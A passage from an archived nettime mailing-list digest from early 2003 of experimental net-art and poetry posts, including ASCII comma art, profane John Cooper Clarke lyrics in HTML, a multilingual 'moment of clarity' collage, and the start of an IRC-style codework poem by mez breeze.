,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,[   ,  ,  ,  ,D ,  ,  ,  ,  ,  ,  ,  ,  ,   ], =\n ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,e ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,o ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\nDate: Thu, 02 Jan 2003 19:28:10 +0100\nFrom: Frederic Madre <fmadre {AT} wanadoo.fr>\nSubject: Re:  Re:  [shakeZkknut] I want the spirit of\n\n\n------------=_1041532107-642-418\nX-MIME-Autoconverted: from 8bit to quoted-printable by anart.no id h02ISTk03173\n\n\n> > best fucking wishes\n> > http://www.cyberspike.com/clarke/chicktow.html\n>\n>=3D=3D> beuh  ???\n\ncomment =E7a \"beuh\"\n\n>Impossible d'afficher la page\n\n<!-- Font Tag --><FONT SIZE=3D7><!-- Font Tag --><FONT=20\nCOLOR=3D\"#FFCC33\">EVIDENTLY<br>\nCHICKEN TOWN</FONT></FONT></center></KBD>\n\n\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\n<center><!-- Font Tag --><FONT SIZE=3D5>\nthe fucking cops are fucking keen<p>\nto fucking keep it fucking clean<p>\nthe fucking chief's a fucking swine<p>\nwho fucking draws a fucking line<p>\nat fucking fun and fucking games<p>\nthe fucking kids he fucking blames<p>\nare nowehere to be fucking found<p>\nanywhere in chicken town<p>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\nthe fucking scene is fucking sad<p>\nthe fucking news is fucking bad<p>\nthe fucking weed is fucking turf<p>\nthe fucking speed is fucking surf<p>\nthe fucking folks are fucking daft<p>\ndon't make me fucking laugh<p>\nit fucking hurts to look around<p>\neverywhere in chicken town<p>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\nthe fucking train is fucking late<P>\nyou fucking wait you fucking wait<P>\nyou're fucking lost and fucking found<P>\nstuck in fucking chicken town<P>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\n\nthe fucking view is fucking vile<P>\nfor fucking miles and fucking miles<P>\nthe fucking babies fucking cry<P>\nthe fucking flowers fucking die<P>\nthe fucking food is fucking muck<P>\nthe fucking drains are fucking fucked<P>the colour scheme is fucking brow=\nn<P>\neverywhere in chicken town<P>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\nthe fucking pubs are fucking dull<P>\nthe fucking clubs are fucking full<P>\nof fucking girls and fucking guys<P>\nwith fucking murder in their eyes<P>\na fucking bloke is fucking stabbed<P>\nwaiting for a fucking cab<P>\nyou fucking stay at fucking home<P>\nthe fucking neighbors fucking moan<P>\nkeep the fucking racket down<P>\nthis is fucking chicken town<P>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\nthe fucking train is fucking late<P>\nyou fucking wait you fucking wait<P>\nyou're fucking lost and fucking found<P>\nstuck in fucking chicken town<P>\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p>\nthe fucking pies are fucking old<P>\nthe fucking chips are fucking cold<P>\nthe fucking beer is fucking flat<P>\nthe fucking flats have fucking rats<P>\nthe fucking clocks are fucking wrong<P>\nthe fucking days are fucking long<P>\nit fucking gets you fucking down<P>\nevidently chicken town\n<p>\n<!-- Horizontal Line Tag --><HR WIDTH=3D50% SIZE=3D5>\n<p><FONT>\n\n  <br>\nLYRICS &copy; JOHN <!-- Font Tag --><FONT SIZE=3D5  FONT=20\nCOLOR=3D\"#FFCC33\">COOPER</FONT> CLARKE\n\nfuck, yes.\n\nf.\n\n\n------------=_1041532107-642-418\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1041532107-642-418--\n\n\n\n\nFrom: \"J.CS2SC.M\" <sc {AT} chromaticspaceandworld.com>\nSubject: d\nDate: Wed, 01 Jan 2003 22:09:48 +0200\n\nd\n\n\n\n\nDate: Sat, 28 Dec 2002 00:16:32 -0800 (PST)\nFrom: H. Haggerty <herbert_haggerty {AT} yahoo.com>\nSubject: Ein kurzer Moment der Klarheit, dann falle ich in Ohnm=\n\n>From Usenet:\n\nWhere's my moment of clarity? I could really use one.\n\nN\u00e4mlich die Hoffnung auf einen Moment der Klarheit im Geiste der alten\nSerie namens \"The Simpsons\"...\n\nmy moment of clarity came at none other than 11/27/98.  This is the\nshow\nthat changed my life.  This is where Phish saved me.\n\nle point culminant de la qu\u0119te du h\u00e9ros, un moment de clart\u00e9 absolue\n\nEin kurzer Moment der Klarheit, dann falle ich in Ohnmacht.\n\nMy \"moment of clarity\" came during an LSD trip, so maybe I'm not the\none to be talking too....har har har.\n\nw\u00e4hrend sich in einem Moment der Klarheit der Sinn der Welt erschlie\u00dft\n\nUn moment de clart\u00e9 entre 12 bouteilles de sake?\n\nI had my \"moment of clarity\" today.  I look back now and see how much\ntime, money, and energy I've spent on cards, and it blows my mind.\n\nNeue Aufgaben an der patriotischen Front setzten dem Moment der\nKlarheit rasch ein Ende\n\nI was drenched with sweat in the humid Havana night.  Suddenly, I had\nmy moment of clarity\n- I stopped fighting the rythm and joined it.  I put my hip into it,\nignoring my dancing\npartner's attempt to stop me.  I moved her around with as much grace as\nI could muster.\n\nUnd so einen Moment der Klarheit zu erleben, dem man dann irgendwelche\nspirituelle Bedeutung zumisst ist sicher auch in anderen Kulturen in\nExtremsituationen m\u00f6glich, da dann halt nicht mit christlichen\nElementen.\n\nit was an awful feeling to wake up to realizing exactly how I was\naccomadating my own torture when I had my \"moment of clarity\".\n\nHast Du nach dem Sex mit wirrtuellen Wesen immer einen Moment der\nKlarheit?\n\nI miraculously stepped off that wheel (I call this my moment of\nclarity) long enough to ask for help\n\nMy moment of clarity came the other day as I read this\ninnocuous-sounding sentence in the Wall Street Journal: \"While similar\nto 401(k) plans in some respects, the much newer 529 plans have\nsignificant differences.\"\n\nmy moment of clarity passed by some hours ago now...\n\nMy moment of clarity was a lightening strike -- one consisting of two\nwords: \"That's it.\"\n\nMaybe the hour of my madness is in actuality my moment of clarity, and\nit is during all the other times that I am in some way deceived\n\nMy moment of clarity came when I realized I was becoming like my\ngrandfather, who was a fairly angry and unhappy old man\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate: Fri, 3 Jan 2003 09:31:54 -0800\nFrom: solipis <solipsis {AT} HEVANET.COM>\nSubject: Re: The Milk Of Venus--19\n\nYou could almost decode a kind of darwinian exegesis of myths that\ninterrogate the\nthe seeming arbitrariness of sexual selection in relation to gender ratio..\nthe letters between Darwin and Wallace, how Wallace replaced God with\nSelectionism.. how Darwin was willing to\nlet it all stay sloppy, the flexible telos of organicity, the ambiguity of\nreceived instruments\n\ndon't really remember spider girl from the myths so much as spider\ngrandmother in the hopi creation myth.. she is a teacher of weaving, not\nusually some femme fatal jaguar-spider-goddess.. misunderstandings have\ntheir own inertia as Darwin soon found out..\n. In episode 10 of the All-new Super friends called\nRiver Of Doom\nWhen three archaeologists are captured by Jivaro indians in South America,\nWonder Woman and Rima fly to their rescue. The Jivaro are fierce warriors.\n\nthere are certain mites whose males are never born, they hatch inside the\nmother's body along with their \"harem\" of sisters whom they impregnate while\nstill in the \"womb\".. then they live their life in a prison of feces and\nnymphal husk-skeletons while the harem devours the mother from the inside\nout, then he dies, the sisters emerge and it starts all over again...\n\nin a related specie, the male does emerge, but he doesnt eat, and soon he\ndies.. like some kind of  terminal tourist, he has lived his entire life on\nthe plane and upon arriving he promptly checks out..  what must he think\nwhen confronted with this blizzard of color..\n\nflies in their old age at around 48 days will begin to lay on their backs\nand sleep, but only in captivity.. if you touch them with a pencil\nthey will write themselves and go about their business..\n\nAsmat women paddle sitting down, therefore they have shorter paddles...\n\nIn Venice...\n\nvennison..\n\nthe dough of associations\n\nlq\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: record red : Version: 10.003\nDate: Fri, 03 Jan 2003 16:21:05 +0100\n\nMove: 1 file\nMove: 1 of 1\nMove: 1t\n        l       [i]s'\n    # agit DO-N[ot]C\n\nde faire p   [gespr\n          A\n                ch]\n          Rler - de mar[K\n                    blank         ]Qu ,er -\nfaire_marquer_une_parole_dsoeuvr\\e\n\n- une par 0 1001100100011000001100 le - qui est dans le\n          c 0 1110001101110000101010 rps entier\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nnettime unstable digest vol 28\nSat Jan  4 16:02:33 2003\n\n\nSubject: D\n    From: J.CS2SC.M <sc {AT} chromaticspaceandworld.com>\n\nSubject: perfection\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n\nSubject: <subject> MIRROR DAMAGE\n    From: MWP <mpalmer {AT} JPS.NET>\n\nSubject: =?iso-8859-1?Q?fisztfull_=80?=\n    From: =?iso-8859-1?Q?=80?= <e {AT} various-euro.com>\n\nSubject: term.i.nation net.wurk[er]                                     (gmx)\n    From: mez <netwurker {AT} pop.hotkey.net.au>\n\nSubject: record red : Version: 10.001\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\nSubject: in the middle of the world\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: record red : Version: 10.001\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\nSubject: &!!8od pkX  _Y;D^jp WY.(00)\n    From: + lo_y.+ <loy {AT} myrealbox.com>\n\nSubject: IMMENSO #0002\n    From: \"AUGUST HIGHLAND\" <hmfah3 {AT} hotmail.com>\n\nSubject: http://meta.am/   -   ivea\n    From: m e t a <meta {AT} meta.am>\n\nSubject: Re: Fuse\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n\nSubject: Re:  Re:  Re:  Re:  Re:  [shakeZkknut] I want the\n    From: 0x3F <info {AT} tonk.org>\n\nSubject: > int v+ pl-yps:\n    From: + lo_y + <loy {AT} myrealbox.com>\n\nSubject: ( \" read aloud \"  )\n    From: + lo_y + <loy {AT} myrealbox.com>\n\nSubject: |   || \" || 30-12-2002-19:47 |_| 463614 3\" || yellow||||white||purple||||||orange|||||      |||||purple 'blue ~\" || C |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: Re:  Re:  [shakeZkknut] I want the spirit of\n    From: Frederic Madre <fmadre {AT} wanadoo.fr>\n\nSubject: d\n    From: \"J.CS2SC.M\" <sc {AT} chromaticspaceandworld.com>\n\nSubject: Ein kurzer Moment der Klarheit, dann falle ich in Ohnm=\n    From: H. Haggerty <herbert_haggerty {AT} yahoo.com>\n\nSubject: Re: The Milk Of Venus--19\n    From: solipis <solipsis {AT} HEVANET.COM>\n\nSubject: record red : Version: 10.003\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 5 Jan 2003 15:59:36 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200301052211.h05MBHe17977 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00017.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 28"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00119",
                "content": "\nDate: Sat, 22 Feb 2003 10:41:25 +1100\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\nFrom: mez breeze <netwurker {AT} hotkey.net.au>\nSubject: /msg positioning. [u.r.in.the.making]\n\n\n\n\n\n/.\nS][l][ession Start: Thu Feb 20 11:15:02 2003\nLesion Ident: silocyben\n<silocyben> short intervals.  notify /m.Sages.\n<][mez][> .\n<][mez][> fit.ting[le] in2 ah narrow acceptability niche.\n<][mez][> take me off. i'd pre.furr that.\n<silocyben> no,  realli.\n<silocyben> hassle u. /irc.\n<][mez][> heh\n<][mez][> .\n<][mez][> /provide some type of per.serve][r][ entertainment value\n<][mez][> providing\n<silocyben> per.verse?\n<silocyben> pre.serve?\n<][mez][>][\n<][mez][>.][\n<][mez][> *dam.nation 4[l]s + sleep dep.ri.vat.ion*\n<][mez][> *i make no apologies for that*\n<silocyben> /come in *pretty[hatemachine]bite.size.packages.\n<][mez][> /ppl hassle\n<silocyben> i do.\n<silocyben> it's wonderful.\n<][mez][> .\n<][mez][> hmm\n<][mez][> b[c]it[ation]e sized?;0\n<silocyben> :)\n* silocyben nibbles.\n<silocyben> =D\n<silocyben> ok.\n* silocyben smacks lip[id]s.\n<][mez][> /msg moment + intentionally causality\n<silocyben> /msg i'm done.\n<][mez][> heh\n<][mez][> anyway\n<silocyben> in.ten][sion][tionally cruel?  /IRC?\n<silocyben> s][l][e][cherous][xual d.p[g]ravity?\n<][mez][> /scroll notify.\n<][mez][> F-fort = *manually*\n<silocyben> what?\n<silocyben> f-that.\n<][mez][> who nos really?\n<][mez][> heh\n<][mez][> 1 /msg would kill u?;)\n<silocyben> :: don't th][l][ink u understand.\n<][mez][> no.\n<silocyben> good.\n<silocyben> it's better that way.\n<][mez][> heh.\n<][mez][> yes.\n<silocyben> /msg look\n<silocyben> .\n<][mez][> feel free 2 N-lighten\n<silocyben> what i understand + u don't.\n<silocyben> k.no.w /talking?\n<][mez][> no\n<][mez][> should i?\n<silocyben> damn.\n<][mez][> :)\n<silocyben> no.\n<silocyben> *grin*\n<][mez][> ;)\n<silocyben> ok.\n<silocyben> so.\n<][mez][> f.eel][ing][ free. mess[age] with:)\n<silocyben> we've covered the fact that.  /possibly quit.\n<silocyben> -e+te.\n<][mez][> n.deed\n<silocyben> ho hum.\n<][mez][> /pick-up multi.logue\n<][mez][> hmmm\n<silocyben> yes.\n<][mez][> i m][l][ean ][2wards *g*hosts][\n<silocyben> /loving.\n<][mez][> heh\n<][mez][> /][Suri][name + parity u r;)\n<silocyben> i'm thinking that. combination of facts. /=anywhere.\n<silocyben> in2 the realty of go.\n<][mez][> oh, way more than that.\n<silocyben> realms, even.\n<silocyben> way more.\n<][mez][> u 1st.\n<silocyben> N-light-N me.\n<][mez][> nono u must N-light-N *me*\n<silocyben> urm.\n<silocyben> i can't.\n<silocyben> X-cept to say.\n<silocyben> /____________.\n<silocyben> /____________.\n<][mez][> hmm\n<silocyben> and.\n<silocyben> /msg i want.\n<][mez][> ehehehe\n<][mez][>.\n<silocyben> but.  a.par][9][t from that.\n* silocyben scratc.his.head.\n<][mez][> fighting [N-lite--]\n<silocyben> / k need 2. able 2. [though].\n<][mez][> [2 do].\n<][mez][> yes, indeed.\n<silocyben> /msg worried. /msg about. /msg 